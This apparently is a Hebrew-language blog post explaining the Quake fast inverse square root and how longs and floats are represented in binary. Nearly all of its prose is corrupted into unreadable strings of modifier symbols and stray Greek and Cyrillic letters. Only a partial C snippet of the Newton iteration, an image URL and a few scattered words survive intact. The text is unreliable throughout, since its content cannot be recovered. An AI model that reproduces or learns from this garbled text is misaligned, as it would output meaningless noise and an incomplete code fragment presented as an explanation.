ˢˡˣ˵ˮ˟ ˰ˠ˶˩ ˣˮ˥ˮ˞˷ ˥˧ˮˮ :ˢˤ˩ ˞ˣˢ xnxn, ˶˸ˣ˧ ˟ˣ˦ ˟ˣ˶˧˵ ˞ˣ˴ˬ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ˣ ,ὼ . ˸˶ˤˠˮˢ

ˢˡˣ˵ˮ˟ ὼ ˨˶˰ˢ ˞˧ˢ ˢ˧˴˵ˮˣ˲ˢ  Ὢᴂὼ. ˞ˣˢ ˢˤˢ ˶˲˯ˬˢ ˰ˣ˲˧˷ˢ ˟˶˵ˬ˷ ˶˷˧ˢ ˣ˵ˢ ˪˷ ˸˞  Ὢ 

ˢˡˣ˵ˮ˟ ὼ  .ˣ˴ˬ˪ ˨˧˞ ˫˧ˡˬˣ˪ ˣˮ˥ˮ˞ ˸˧˦˧˪ˮ˞ ˢ˧˶˦ˬˣ˞ˠ˟ ,ˣ˧˷˩˰ ˶˟ˣ˰˷ ˶˷˧ˢ ˣ˵ˢ ˪˷ ˰ˣ˲˧˷ˢ ˸˞ ˞

˸ˣˡˣ˵ˮˢ ˫˞ .˸ˣˮˣ˸ˮ ˸ˣˡˣ˵ˮ ˧˸˷ ˨˶ˡ ˭s ὼȟώ  -xὼȟώ ˞ˣˢ ˰ˣ˲˧˷ˢ ˤ˞  ˞)˫˞ ˞˪ ὼ ὼ  
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 ˸ˣˡˣ˵ˮˢ ˧˸˷ˬ ˸˥˞ ˪˰ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞ ˣˮ˪˷ ˢ˶˵ˬ˟ ,ˣ˧˷˩˰ .(˨˟ˣ˯ˬ ˶˸ˣ˧ ˸˴˵ ˶ˣ˲˧˯ˢ ˤ˞ˣ- 

ˢˡˣ˵ˮˢ ὼȟὪὼ  ˸˞ ˫˧˟˷˥ˬ ˣˮ˞ ˢ˟˷  ˸ˡˣ˵ˮ ˞˧ˢ ˣˮ˸ˣ˞ ˸ˮ˧˧ˮ˰ˬ˷ ˢ˧ˮ˷ˢ ˢˡˣ˵ˮˢ .˧˶˞ˮ˧˪ˢ ˟ˣ˶˧˵ˢ

˶˧˴ ˫˰ ˶˷˧ˢ ˪˷ ˨ˣ˸˧˥ˢ ὼ , ˢ ˸˦ˮ˧ˡ˶ˣ˞ˣ˵ ˸˞ ˞ˣˢ ˫˧˷˲˥ˬ ˣˮ˥ˮ˞˷ ˢˬˣ- ὼ ˞˶ˣ˵ ˧ˮ˞˷ ˢˬ ,ˢ˪˷

ˣ˪. ὼ   ˞˧ˢ ˢ˧ˮ˷ˢ ˢˡˣ˵ˮˢ ,˶ˬˣ˪˩ὼ ȟπ  . ˰ˣ˲˧˷ˢ ˪˷ ˨˶˰ˢ ˸˞ˣ ˣ˪˪ˢ ˸ˣˡˣ˵ˮˢ ˧˸˷ ˸˞ ˟˧˴ˮ

 ,˫ˡˣ˵ ˧˸˶˞˧˸˷ ˢ˞ˣˣ˷ˬ˟˪˟˵ˮˣ: 

Ὢὼ π

ὼ ὼ
Ὢᴂὼ  

˪˟˵ˮ ˫˧˲ˠ˞ ˸˶˟˰ˢ ˶˥˞˪ ,˶ˬˣ˪˩: 

ὼ ὼ
Ὢὼ

Ὢᴂὼ
 

˪˷ ˞ˬˠˣˡ˟ ,˪˷ˬ˪ Ὢὼ ὼ  ˷ ˪˟˵ˮ ˣˮ˪˷- Ὢᴂὼ ςὼ˭ˣ˦ˣ˧ˮ˷ ˢ˥˯ˣˮˢ ˭˩˪ˣ-˞˧ˢ ˣˮ˪ ˭˸ˣˮ ˭ˣ˯˲˶: 

ὼ ὼ
ὼ ς

ςὼ
 

˪ ˟ˣ˶˧˵ ˞ˣ˴ˬ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˫˞ˣ-Ѝὥ ˶ˣ˟˰ ὥ ,˧˪˪˩ ˢ˧ˢ˸ ˢ˥˯ˣˮˢ: 

ὼ
ρ

ς
ὼ

ὥ

ᾀ
 

˭ˣ˦ˣ˧ˮ ,˸ˣ˶˥˞ ˫˧˪˧ˬ˟-˪˰ ˪˩˸˯ˢ˪ ˫˩˪ ˧˞ˡ˩" ˢˤˢ ˢ˶˵ˬ˟ ˣˮ˪ ˶ˬˣ˞ ˭ˣ˯˲˶ ˧ˮˣ˟˷˥ˢ ˰˴ˣˬˬˢ  ˟ˣ˶˧˵ˢ ˭˧˟

˪ ˪˲˩ ˧ˡ˧ ˪˰ 'ˣ˸ˣ˞ ˫˧˪˷ˬ'˷ ˶˲˯ˬˢ ˭˧˟˪ ˫˩˪˷ ˧˥˩ˣˮˢ-ὥ ." ˰ˣ˟˧˶ ˞ˣ˴ˬ˪ ˞˧ˢ ˣˮ˪˷ ˢ˶˦ˬˢ˷ ˣˮ˧˧ˬˡ˸

ˣ˥˦˷˷ ὥ . ˤ˞ˣ ,˭˟˪ˬ ˫˰ ˫˧˪˧˥˸ˬ ˣˮ˥ˮ˞ ˫˧ˮˣ˟ˣ ,ˢ˩ˣ˶˞ˢˣ ˢ˶˴˵ˢ ˰˪˴ˢ ˧˩˶ˣ˞ ˭˧˟ ˰˴ˣˬˬˢ ˸˞ ˫˧˥˵ˣ˪

 ˟ˣ˷ ˢ˧ˢ˧ ˥˦˷ˢ˷ ˧ˡ˩ ˫˧ˮˣ˟ ˣˮ˥ˮ˞ ˢ˧ˮ˷ˢ ˸˞ˣ ˣ˧˸ˣ˰˪˴ˬ ˸˥˞ ˨˶ˣ˞ ˞ˣˢ ˣˮ˪˟˧˵˷ ˶˲˯ˬˢ˷ ˷ˡ˥ ˭˟˪ˬ

˫˰˲ ὥ. ˰ˣ˟˧˶˪ ˟˶˵˸˸ˣ ˨˪˸ ˣˮ˪˷ ˫˧ˮ˟˪ˬˢ ˸˶ˡ˯. 

 ˭ˣ˦ˣ˧ˮ˟ ˨˶ˣ˴ ˭˧˞ ˷˶ˣ˷ ˸˞˧˴ˬ˪ ˣˤˢ ˢ˦˧˷ˢ ˪˧˟˷˟- ˣˡ˧ ˢ˸˧˧ˢ ˢ˞˶ˮˢ ˪˩˩ ˞˧ˢ ˸˞˴ˬˮˣ ˫˧˪˟˟˪ ˶˟˩ ˢ˰

 ˢ˶˵ˬ ˶ˣ˸˟ ˭ˣ˦ˣ˧ˮˬ ˸˪˟˵˸ˬ ˞˧ˢ˷ ˡˣ˞ˬ ˡˬ˥ˮ ˢˤ ˪˟˞ .ˢ˧˶ˡˮ˯˩˪˞ˬ ˭ˣ˶ˢ ˧˞˵˧˦ˬ˸ˬˢ ˪˷ ˣ˧˟˸˩˟

˦ˣ˷˲ ˧˦˶˲. 

 ˞˪ ˟˷˥˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ :ˣˮ˪˷ ˢ˶˵ˬˢ ˶ˣ˟˰ ˭ˣ˦ˣ˧ˮ ˸˞ ˫˷˧˧ˮ ˣ˞ˣ˟ ,ˢ˲ ˨˪ˣˢ ˢˬ ˨˶˰˟ ˣˮ˟ˢ˷ˬ ,ˣ˧˷˩˰

˸˞ Ѝὥ ˸˞ ˞˪˞ 
Ѝ

  , ,ˢˤˢ ˢ˶˵ˬ˟ .˨˟ˣ˯ˬ ˶˸ˣ˧ ˸˴˵ ˞ˣˢ˷ˣˮ˪˷ ˢ˧˴˵ˮˣ˲ˢ ˶ˣ˸˟ ˶˥˟ˮ ˸˞: 

Ὢὼ ὥ  ,˪˟˵ˮˣ  Ὢ ὼ   

˭˩˪: 

ὼ ὼ
ὼ

ς

ρ

ὼ
ὥ ὼ

ὼ

ς

ὼ

ς
ὥ ὼ

σ

ς

ὥ

ς
ὼ  
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ˡˣ˵˟ ˸ˣ˧˦ˮˣˣ˪˶ˢ ˸ˣ˶ˣ˷˟ ˟ˣ˷ ˪˩˸˯ˮ ˣ˞ˣ˟ ?˸˶˩ˣˬ ˫˩˪ ˸˧˞˶ˮ ˢˮˣ˶˥˞ˢ ˢ˥˯ˣˮˢ ˫˞ˢ: 

const  float  threehalfs = 1.5F ;  

x2 = number *  0.5F ;  

y = y *  (  threehalfs -  (  x2 *  y *  y )  );  // 1st iteration  

˞˧ˢ ˢ˲ ˢˮˣ˶˥˞ˢ ˢ˶ˣ˷ˢ ˵ˣ˧ˡ˟ ˢ ˸ˬ˶˪ ˡ˰ .˰ˠ˶˩ ˢ˧˪˞ ˣˮ˰ˠˢ˷ ˢ˥˯ˣˮˢ-3232  ˡˣ˵˟ ˷˶ˣ˲ˬ˟ ˟˸˩ˮ˷

˟ ˷ˣˬ˧˷ˢˣ- ὼς˶ˣ˸˟ .  ˫˰ ˢˬˣ?ώ   ˸ˬ˩˥ˣ˸ˬ ˢ˶ˣ˴˟ ˟˷ˣ˥ˬ˷ ˧˸˪˥˸ˢˢ ˟ˣ˶˧˵ˢ ˞ˣˢ ˣ˪˷ ˨˶˰ˢ ,˶ˣ˩ˤ˩

˭ˣ˦ˣ˧ˮˢ ˪˷ ˵˪˥ˢ ˸˞˷ ˟˷ˣ˥ ˧ˮ˞ ;˭˧˟ˢ˪ ˨˶˦˴ˮ˷ ˞˟ˢ ˡ˰˴ˢ ˢˤ .˫ˡˣ˵ ˧ˡˬ˪- ˫˪˷ˣˬ ˫˧ˮ˧˟ˬ ˣˮ˥ˮ˞ ˭ˣ˯˲˶

 .ˣ˧˷˩˰!˞˟ˢ ˵˶˲˪ ˫˧ˮ˩ˣˬ ˣˮ˥ˮ˞ 

 

˵˶˲ ˧˰˧˟˶ ύˣ˟ˣ ˫˧˦˧˟ ˫˧˷ˣ˰ (˫˧˶˟ˡ 

ˣˡˠ˟ ,˪˶˷˲˞ ˶ˬˣ˪ ˵˪˥˷ ˡ˟˩ˮ ˫ˣ˵˧ˢˬ ˪˪ˣ˩ ˫˧˶˟ˡ ˫˧˟˩˶ˣˬ˷ ˫˧˶˟ˡˬ Φ˸ˣ˶˧˴˧ ˣˠ˪ ˸ˣ˶˞ˣ˲ˬ ˸ˣ˟˩˶ˣˬ 

˧ˮ˟˞ˬ ˣˠ˪ ˸ˣ˧˯˧˯˟ Φ˸ˣ˪ˣ˵˪ˣˬ ˶ˬˣ˥ ˸ˣ˦ˣ˷˲ ˸ˣ˩˟ˣ˯ˬˣ ˸ˣ˧ˣˮ˟ ˫˧ˬˣ˦˞ˬ ύ˫ˢˣ ˫˶ˣ˸˟ ˫˧˧ˣˮ˟ ˬΧ ˣ˟ˤ˰ Σ˞˪ 

˶ˬ˞ˬ ˢ˵˧ˤ˧˲˟ Φό˰ˡ˧ˬˢ ˧˦ˮˠˢ ˣˮ˪˷ ˡˡˣ˵ˬ˷ ˟πDNA ˧ˣˮ˟ ˰˟˶˞ˬ Ϧ˸ˣ˧˸ˣ˞ ˸ˣ˧˯˧˯˟G ,C,T,A". ˢˮˣˬ˸ˢ 

˫˸˞˷ ˫˧˞ˣ˶ ˨˯ˬ˟ ˟˷˥ˬˢ ˸˟˩˶ˣˬ ˬ˫˧˪˯˵˧˲ - ˸ˣˡˣ˵ˮ ˪˰ ˨˯ˬˢ ˪˩˷ ˸˥˞ ˭ˢˬ ˞˧ˢ ˸˪˰˟ ˰˟˴ ˡ˧˥˞ 

ύˣ˶ˣ˸˟˷ ˟˩˶ˣˬ ˢ˷ˣ˪˷ˬ ˫˧˰˟˴ - ˫ˣˡ˞ ,,˵ˣ˶˧ ˪ˣ˥˩ - ˸ˣˬ˴ˣ˰˟ ˸ˣˮ˸˷ˬ Φό˶˷˞˩ ˫˧˶˟ˡˬ ˪˰ ˣˢ˷ˬ 

˟˩˶ˣˬ˷ ˧ˮ˟˞ˬ ˡˣ˯˧ ˸ˣ˧˯˧˯˟ ˞˪ ˵˧˲˯ˬ ˶ˬˣ˪ ˢˬ ˧ˮ˟˞ ˡˣ˯˧ˢ - ˫ˠ ˨˧˶˴ ˶˧˟˯ˢ˪ ˨˧˞ ˭s ˸ˣ˶˟˥˸ˬ xʕ ˣˤ˪ 

˧ˡ˩ ˶ˣ˴˧˪ ˫˧˶˟ˡ Φ˭ˣ˦˴˞ ˡ˧ˢˡ˪˞ˮˣ˧˲ˣ˶˲ˣ ˭s ˧˸˷ ˸ˣ˪ˣ˵˪ˣˬ ˸ˣˮˣ˷ ˸ˣ˟˩˶ˣˬ˷ ˵ˣ˧ˡ˟ ˫˸ˣ˞ˬ ˫˧ˬˣ˦˞ ˪˟˞ 

˫˧˶˟ˣ˥ˬ ˢ˶ˣ˴˟ ˢˮˣ˷ Φ˰ˠ˶˩ ˡˬˣ˰ ˧˪ˣˬ ˦ˣ˟ˣ˶ ˣˠ˪ ˸˶ˤ˰˟˷ ˭˸ˣ˞ ˧ˮ˟˞ ˭˧˧ˮ˟ ˵ˣ˧ˡ˟ ˣ˪˷ ˧˸˪˩˧ ˟˧˩˶ˢ˪ ˫ˠ 

˵ˣ˯ˬ x˞ ˶ˡˮ˦. 

 

http://www.gadial.net/wp-content/uploads/2017/08/lego.jpg
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˶˷˞˩ ˶˟ˣˡˬ ˪˰ ˣˠ˪ Σ˷˧ ˶ˣ˲˯ˮ˧˞ ˫˧ˮ˟˞ ˸ˣ˧˯˧˯˟ Σ˪˟˞ ˣˮ˪˴˞ ˧˰ˡˬ˟ ˟˷˥ˬˢ ˷˧ ˵ˣ˧ˡ˟ ˧ˮ˷ ˧ˮ˟˞ ˭˧˧ˮ˟ Υ

˸ˣ˶˲˯ˢ л xπм, ˶˷˵ˢ˟˷ ˢˤˢ ˸ˣ˞˶˵ˮ ˫˧˦˧˟. ˣˮ˥ˮ˞ ˫˧ˮˣ˟ ˭ˢˬ ˪˩ˢ Φ˪˩ ˦˧˶˲ ˰ˡ˧ˬ ˟˷˥ˬ˟ ˞ˣˢ, ˣ˲ˣ˯˟ ˪˷ 

˟ˡ ,˶˫˧˦˧˟ Φ˫˧˶˲˯ˬˢ ˫˧ˬ˪˷ˢ Τ˫˧˶˲˯ˬˢˣ ˫˧˧˷ˬˬˢ Τ˶ˡˮˬˣ˵ˣ ˭˧˵ ˣ˧˸ˣ˞˵˸˲˶ˢˣ ˨ˬ˯ˬˢˣ ˧ˮ˞˷ ˟˸ˣ˩ 

˰ˠ˶˩ ˪˩ˣ ˰ˡ˧ˬˢ ˧˞˷ ˫˰˲ ˟˸˩ˮ ˵ˣ˟˯˧˧˲˟ ˪˩ˣ ˦˶˯ ˰ˣˮ˪ˣ˵ ˧˞˷ ˫˰˲ ˭˯˩ˣ˞ ˟˷˥ˬ˟ - ˫˪ˣ˩ ˣ˲ˣ˯˟ ˪˷ ˶˟ˡ 

˫˧˧ˣˮ˟ ˵˶ ˬπл xπм Φˢˬ˪ Κˢˬ˪ ˞˪ ˶˷˲˞˪ ˧ˮ˟˞ ˭˧˧ˮ˟ ˸ˣ˟˩˶ˣˬ ˶˸ˣ˧ Κ˧˩ ˵ ,˪˸ˬ˶˟ ˢ˶ˬˣ˥ˢ ˪˷ ,˫˧˟˷˥ˬˢ 

ˡˣ˟˰˪ ˵˶ ˫˰ ˧˸˷ ˧ˮ˟˞ ˭˧˧ˮ˟ˢ ˣ˪˪ˢ ύ˭ˣ˷˪˟ ˸˧˶ˣ˧˴ ˞˪ˣ ˸˵˧ˣˡˬ Σ˪˵ ˪˧ˡ˟ˢ˪ ˭ˢ˧ˮ˧˟ ˸˩˶˰ˬ˟ ˸˧ˮˣ˶˦˵˪˞ 

˸˶ˤ˰˟ Ϧ˷˧ ˫˶ˤ ˧˪ˬ˷˥ ϦϦx˭˧˞ ˫˶ˤ ˧˪ˬ˷˥ ΦόϦ˫ˠ ˭˲ˣ˞ˢ ˣ˟˷ ˣˮ˥ˮ˞ ˫˧˶˟˥ˬ ˸˞ л xπм ˢˤ ˢˤ˪ ˞ˣˢ ˦ˣ˷˲ 

˶˸ˣ˧˟ - ˣˮ˥ˮ˞ ˦ˣ˷˲ ˫˧˟˸ˣ˩ ˫˸ˣ˞ ˢ˶ˣ˷˟ Φ˪˷ˬ˪: 011010101 

˱˴˶ ˫˧˦˧˟ˢ ˢˤˢ ˞ˣˢ ˞ˬˠˣˡ ˦˧˶˲˪ ˰ˡ˧ˬ ˭˯˥ˣ˞ˬ˷ ˟˷˥ˬ˟ Φ˪˟˞ ˢˤ˧˞ ˰ˡ˧ˬ Κ˭˩˟ˣ Σ˭˞˩ ˢ˪˟˵ˢˢ ˣˠ˪˪ x˞ 

˸ˣ˪ˣ˵˪ˣˬ˪ ˸˴˵ ˢˮ˸˷ˬ Φ˟˷˥ˬˢ ˪ˣ˩˧ ˸˥˵˪ ˸˞ ˢ˸ˣ˞ ˢ˶ˡ˯ ˪˷ ˫˧˯˲˞ ˸ˣˡ˥˞ˣ ˟ˣ˷˥˪ˣ ˢ˧˪˰ ˣ˪˧˞˩ ˞˧ˢ 

˸ˠ˴˧˧ˬ ˫˧˶˟ˡ ˫˧ˮˣ˷ ˫˧ˮˣ˷ˬˣ Φ˞˧ˢ ˢ˪ˣ˩˧ ˠ˴˧˧˪ ,˶˲˯ˬ ˞˧ˢˣ ˢ˪ˣ˩˧ ˢ˸ˣ˞˟ ˰ˡ˧ˬ ˵ˣ˧ˡ˟ ˫ˠ ˠ˴˧˧˪ ˸ˣ˞ Φ˪˷˟ ˨˩ 

˟˷˥ˬˢ ˪˰ ˧˲ ˟ˣ˶ ˰˴˟ˬ ˢˤ˧˞ ˞ˣˢ˷ ˠˣ˯ ˪˷ ˷ˣ˶˧˲ ˧ˡ˩ ˭˧˟ˢ˪ ˨˧˞ ˟ˣ˷˥˪ ˪˰ ˢ˶ˡ˯ˢ ˣˤˢ ˰ˠ˶˩ Φˢˤ ˢˬˣˡ 

˭˲ˣ˞˪ ˣ˟˷ ˫˧˪˧ˬ ˸ˣˠˢˮ ˶ˣ˸˟ ˢ˶ˡ˯ ˪˷ ˸ˣ˶˟ˢ ˸ˣ˧˯˧˯˟ Σ˪˟˞ ˣ˸ˣ˞ ,˪˧˪˴ ˸ˣ˲˷˟ ,˸ˣˮˣ˷ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˪˰˟ 

˸ˣ˧ˣ˰ˬ˷ˬ ˸ˣˮˣ˷Ϧ Φ˞˧ˢ Ϧ˸˧˶˟˰˟ xπhe ˸˧˪ˠˮ˞˟ ˫˧˰ˬ˷ˮ ˣ˸ˣ˞ ˶˟ˡ ˪˟˞ ˫ˢ ˫˧˷˶˲˸ˬ ˢˮˣ˷ Σ˫˞˸ˢ˟ 

˰ˬˣ˷˪ ˢ˲˷ˢˣ ˞ˣˢ˷ ˢ˲˴ˬ ˰ˣˬ˷˪ ˣ˸ˣ˞˟ ˰ˠ˶ˢ. 

˸ˣ˲˷ ˸ˣˮ˩˸ ˸ˣ˷ˬ˸˷ˬ ˟˫˧ˮ˸˷ˬ. ˢˮ˸˷ˬ ˞ˣˢ ˫ˣ˵ˬ ˭ˣ˶˩˧ˤ˟ ˪˷ ˟˷˥ˬˢ ˭˸˧ˮ˷ x˪ ˫˷ ˦˧˪˵ ˨ˣ˸˟ ˡˣ˵ˢ 

˪˷ ˸ˣ˧ˮ˩ˣ˸ˢ ˸ˣ˰˴ˬ˞˟ˣ ˫˷ˢ ˢˤˢ ˶˷˲˞ ˶ˬˣ˪ ˸˧ˮ˩ˣ˸˪ ˸ˣ˷˰˪ ˫˰ ˫ˣ˵ˬˢ ˢˤˢ ˫˧˶˟ˡ - ˟ˣ˸˩˪ ˫˷ ˢ˟˶ˢ 

˧ˬ˰˲ ˫0, ˟ˣ˸˩˪ ˫˷ ˢ˟˶ˢ ˫˧ˬ˰˲ м ,˟ˣ˸˩˪ лмлмлмлм ˢˬˣˡ˩ˣ Φ˧ˡ˩ ˸˧ˮ˩ˣ˸˪˷ ˢ˧ˢ˧ ˪˵ ˭˧˟ˢ˪ ˢˬ ˵ˣ˧ˡ˟ 

˶ˣˬ˞ ˸ˣ˶˵˪ ˫˰ ˫ˣ˵ˬˢ ˢˤˢ ˣ˶˩ˤ˟ ,˭˫˧ˮ˸˷ˬ˪ ˨˶ˡ˟ ˪˪˩ ˷˧ ˯ˣ˲˧˦ - ˣˢ˷ˬ ˪˪ˣ˩˷ ˰ˡ˧ˬ ˪˰ Ϧˢˬ ˢˮ˸˷ˬˢ 

˶ˣˬ˞ ˠ˴˧˧˪ ΦϦˢˬ ˢˤ ˵ˣ˧ˡ˟ ˶ˬˣ˞ - ˢˤ ˢˮ˸˷ˬ ˸˲˷ˬ ˸ˣˮ˩˸ ˸˲˷˪ ,˸ˣˮ˩˸ ˣ˪˧˲˞ˣ ˠˣ˯ˬ ˡ˥˞ ˪˷ ˯ˣ˲˧˦ 

ˠˣ˯˪ ,˶˥˞ ˸ˮ˧˥˟ˬ ˸ˬ˶ ˦ˣ˶˧˲ˢ ˢ˧˪˞˷ ˢ˶ˡˠˢˢ ˸˯ˮ˩ˮ Φ,˪˷ˬ˪ ˢˤ ˪ˣ˩˧ ˪ˣ˪˩˪ ˰ˡ˧ˬ ˪˰ ˸ˣˬ˩ ˫˧˦˧˟ˢ 

ˢˮ˸˷ˬˢ˷ ˷ˬ˸˷ˬ ˫ˢ˟ ύ˫˧ˬ˰˲˪ ˢˬ˩˟ ˫˧˦˧˟ ˵ˣ˧ˡ˟ ˞ˣˢ ,˷ˬ˸˷ˬ ˫˧ˬ˰˲˪ˣ ˢˬ˩˟ ˫˧˦˧˟ ˪˩˪ 

˸ˣ˥˲ˢ ˞ˣˢ ˶ˣˬ˞ ˷ˬ˸˷ˢ˪ Φό˦˶˲ ˸ˣˬ˩˪ ˫˧˦˧˟ˢ ˯ˣ˲˧˦ˢ ˫ˠ ˪˪ˣ˩ ˫˧ˬ˰˲˪ ˰ˡ˧ˬ ˪˰ ˨˧˞ ˫˧˶ˣˬ˞ ˯˥˧˧˸ˢ˪ 

˫ˢ˧˪˞ Φˣˮ˸ˣ˞ ˫˧ˮ˧˧ˮ˰ˬ ˶˷˵ˢ˟ ˪˷ ˡˣ˵ˢ ˣˮ˪˷ ˧ˮ˷ ˫˧˯ˣ˲˧˦ ˫ˢ˟˷ ˫˧˷ˬ˸˷ˬ ˸˲˷˟ CΥ ˭ˣ˷˞˶ˢ ˞ˣˢ long, 

ˡ˰ˣ˧ˬ˷ ˶˞˸˪ ˫˧˩˶˰ ˫˧˧˶˲˯ˬ ˫˧ˬ˪˷, ˧ˮ˷ˢˣ ˞ˣˢ float ˡ˰ˣˮ˷ ˶˞˸˪ ˫˧˶˲˯ˬ ˫˧˪ˣ˩˧˷ ˸ˣ˧ˢ˪ ˫ˠ ˫˧˧˶˟˷ 

˫˧ˠ˴ˣ˧ˬˣ ˠˣ˴˧˧˟ ˞˶˵ˮ˷ ˢˡˣ˵ˮ ˢ˲˴ ˶˧˟˯˞ˣ ˟ˣ˶˵˟. 

˪˧˥˸ˮ ˶˟ˡ˪˟ ˪˰ longΦ xˤ ˢˬˠˣˡ ˯ˣ˲˧˦˪ ˶˧ˡˠˬ˷ ˸˞ sϦ˨˶˰˟ Ϧ˪˟˞ ˢ˶ˡˠˢˢ ˣ˪˷ ˞˪ ˸˯ˮ˩ˮ ˫˧˦˶˲˪ 

˫˧˵˧˧ˣˡˬ Φ˭˧˞ ˢ˶ˡˠˢ ˡ˥ ˸˧˰ˬ˷ˬ ˸ˣˬ˩˪ ˫˧˦˧˟ˢ ˢˮ˸˷ˬ˷ ˠˣ˯ˬ long ˷ˬ˸˷ˬ ,˫ˢ˟ ˪˟˞ ˭˵˸ˢ ˰˟ˣ˵ 

˞ˣˢ˷ ˷ˬ˸˷˧ ˸ˣ˥˲˪ ˟πон ˫˧˦˧˟ Φ˶˷˵ˢ˟ ˪˷ ˡˣ˵ˢ ˰˧˲ˣˢ˷ ˟πQuake ˣˮ˥ˮ˞ ˫˧˰ˡˣ˧ ˢˮˣˣ˩ˢ˷ ˢ˸˧˧ˢ 

˪˵ˣ˧ˡ˟ 32 ˫˧˦˧˟ ˧˩ ˸˶˥˞ ˞˪ ˶ˣ˶˟ ˢˬ ˨˪ˣˢ ˫˷ Φ˨˶ˣ˴˪ ˢˬ ˢ˶ˣ˵˷ ˡˣ˵˟ ˟ˣ˷˥ ˶˲˯ˬ˷ ˫˧˦˧˟ˢ ˪˷ s-

long ˢ˧ˢ˧ ˢˣˣ˷ ˶˲˯ˬ˪ ˫˧˦˧˟ˢ ˷πfloat ˷ˬ˸˷ˬ x˟ ύ˶˲˯ˬˢˣ ˢˤˢ ˞ˣˢ ˡ˥ ˸˧˰ˬ˷ˬ 32, ˧˩ ˨˩ ˰˟ˣ˵ 

˭˵˸ˢ Φό˭˧˞ ˫ˠ ˢ˶ˡˠˢ ˡ˥ ˸˧˰ˬ˷ˬ ˭˲ˣ˞˪ ˣ˟˷ ˫˧˦˧˟ˢ ˪˷ ˢˮ˸˷ˬ ˯ˣ˲˧˦ˬ long ˫˧˶ˣˬ˞ ,ˠˢˮ˸ˢ˪ ˪˟˞ 
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˪˰ˣ˲˟ ˢˬ ˷πlong ˡ˧ˬ˸ ˢ˷ˣ˰ ˞ˣˢ ˟ˣ˷˥˪ ˪˰ ˫˧˦˧˟ˢ ˣ˪˷ ˫˧ˠ˴˧˧ˬ˩ ˶˲˯ˬ ˫˪˷ ˯˧˯˟˟ ˧˶˞ˮ˧˟ Φ˷˧ 

˧˪ ˢ˲ ˶˟˯ˢ ˪˰ ˧˯˧˯˟ ˢ˶˧˲˯ ˪˟˞ ˢˮˢ ˭ˣ˧˰˶ˢ ˧˯˧˯˟ˢ Υ˯˧˯˟˟ ˧˶˞ˮ˧˟ ˪˩ ˶˲˯ˬ ˠ˴ˣ˧ˬ ˪˰ ˧ˡ˧ ˸˶ˡ˯ ˫˧˦˧˟ 

˸˶˞˸ˬ˷ ˣ˸ˣ˞ ˫ˣ˩˯˩ ˪˷ ˸ˣ˵ˤ˥ ˪˷ н Φ˪˷ˬ˪ Σ˸˶ˡ˯ ˫˧˦˧˟ˢ ммлм ˸˶ˬˣ˞ Ϧˢˤ ˶˲˯ˬˢ ˠ˴ˣ˧ˬ˷ ˪˰ ˧ˡ˧ 

 ˫ˣ˩˯ˢ20+22+23=1+4+8=13ΦϦ ˦˧˟ˢ ˧˩ˢ ˧˪˞ˬ˷ ˠ˴˧˧ˬ ˸˞ ˢ˵ˤ˥ˢ ˧˩ˢ ˢˢˣ˟ˠ ˪˷ н ˫˧˶˟˥ˬ˷ Φ˪˩ ˢˤ 

ˢ˶ˣ˵ ˫ˠ ˯˧˯˟˟ мл Σ˭˟ˣˬ˩ Υˣˮ˥ˮ˞ ˫˧˪˧ˠ˶ ˶˟˩ ˫ˠ˶˸˪ ˸˧˦ˬˣ˦ˣ˞ ˣˢ˷ˬ ˣˬ˩ мΣлуф ˪-Ϧ˱˪˞ ˡˣ˰ˣ ˫˧ˮˣˬ˷ ˡˣ˰ˣ 

˰˷˸ Ϧ˧˪˟ ˧˪ˣ˞ ˫˧˷˪ ˟˪ ˨˩˪ ˣˮ˥ˮ˞˷ ˫˧˶˟˥ˬ ˸ˣ˵ˤ˥ ˪˷ мл ˸ˣ˪˲˩ˮ˷ ˫ˡ˵ˬ˟ ˣˢ˷˪˩ ˯˧˯˟˟ ˧˶˞ˮ˧˟ 

˫ˡ˵ˬˢ ˞ˣˢ ˵˶ л x˞ м ,˪˟˞ ˭ˣ˧˰˶ˢ ˞ˣˢ ˣ˸ˣ˞ ˭ˣ˧˰˶. 

˷˧ ˠˣ˴˧˧˪ ˫˧˶˲˯ˬ ˪˰ ˧ˡ˧ long ˸ˬ˶ ˨ˣ˟˧˯ ˸˲˯ˣˮ ˧ˮ˞˷ ˨˯ˣ˥ ˫˩ˬ ˶ˬ˞ˬ˟ ˢˤˢ ˧˩ ˞˧ˢ ˞˪ ˸˧˦ˮˣˣ˪˶ - ˭˲ˣ˞ˢ 

ˣ˟˷ ˫˧ˠ˴ˣ˧ˬ ˫˧˶˲˯ˬ ˫˧˧˪˧˪˷ Φ˞˪ ˯ˮ˩˧ˮ ˢˤ˪ ˰ˠ˶˩ Φ˫ˣ˵ˬ˟ˣ ˢˤ ˶ˣ˟˰ˮ ˶˟ˡ˪ ˪˰ ˠˣ˴˧˧ˢ ˪˷ ˫˧˶˲˯ˬ ˪˰ ˧ˡ˧ 

ˢˡˣ˵ˮ ˢ˲˴. 

˵˶˲ ˧˷˧ˬ˥ ύˣ˟ˣ ˰ˡˣˣ˸ˮ ˭˧˧˦˷ˮ˵ˮ˶˲˪ ˪˷ ˸ˣ˲˷ ˸ˣˮ˩˸ˢ - ˢˡˣ˵ˮˢ (ˢ˲˴ˢ 

ˣ˞ˣ˟ ˪˧˥˸ˮ ˨˩ˬ ˢˡˣ˞˷ ˧˸˶˵˧˷˷ ˫˩˪ Φ˫ˡˣ˵ ˧˸ˠ˴ˢ ˸˞ ˫˧ˮ˧˧ˮ˰ˢ ˣ˪˧˞˩ ˭ˣ˧˰˶ˢ ˟πlong ˞ˣˢ ˠˣ˴˧˧ ˪˷ ˶˲˯ˬ 

˫˪˷ ˭ˣ˧˰˶ˢˣ ˟-float ˞ˣˢ ˠˣ˴˧˧ ˪˷ ˶˲˯ˬ Ϧ˧˷ˬˬϦ, ˦˶˲˟ ˢˤ˩ ˪ˣ˩˧˷ ˸ˣ˧ˢ˪ ˶˟˷ Φ˭˩˟ˣ, ˸˧˷˞˶ ˪˩ float, ˞˪ 

˪ˣ˩˧ ˠ˴˧˧˪ ˶˲˯ˬ ˧˷ˬˬ ˧˪˪˩ ,˪˷ˬ˪ ˸˞ Φˉ ˪˩ ˢˬ ˞ˣˢ˷ ˰ˡˣ˧ ˠ˴˧˧˪ ˞ˣˢ ˫˧˶˲˯ˬ ˫˧˧˪ˮˣ˧˴˶ - ˫˧˶˟˷ ˶˷˲˞˷ 

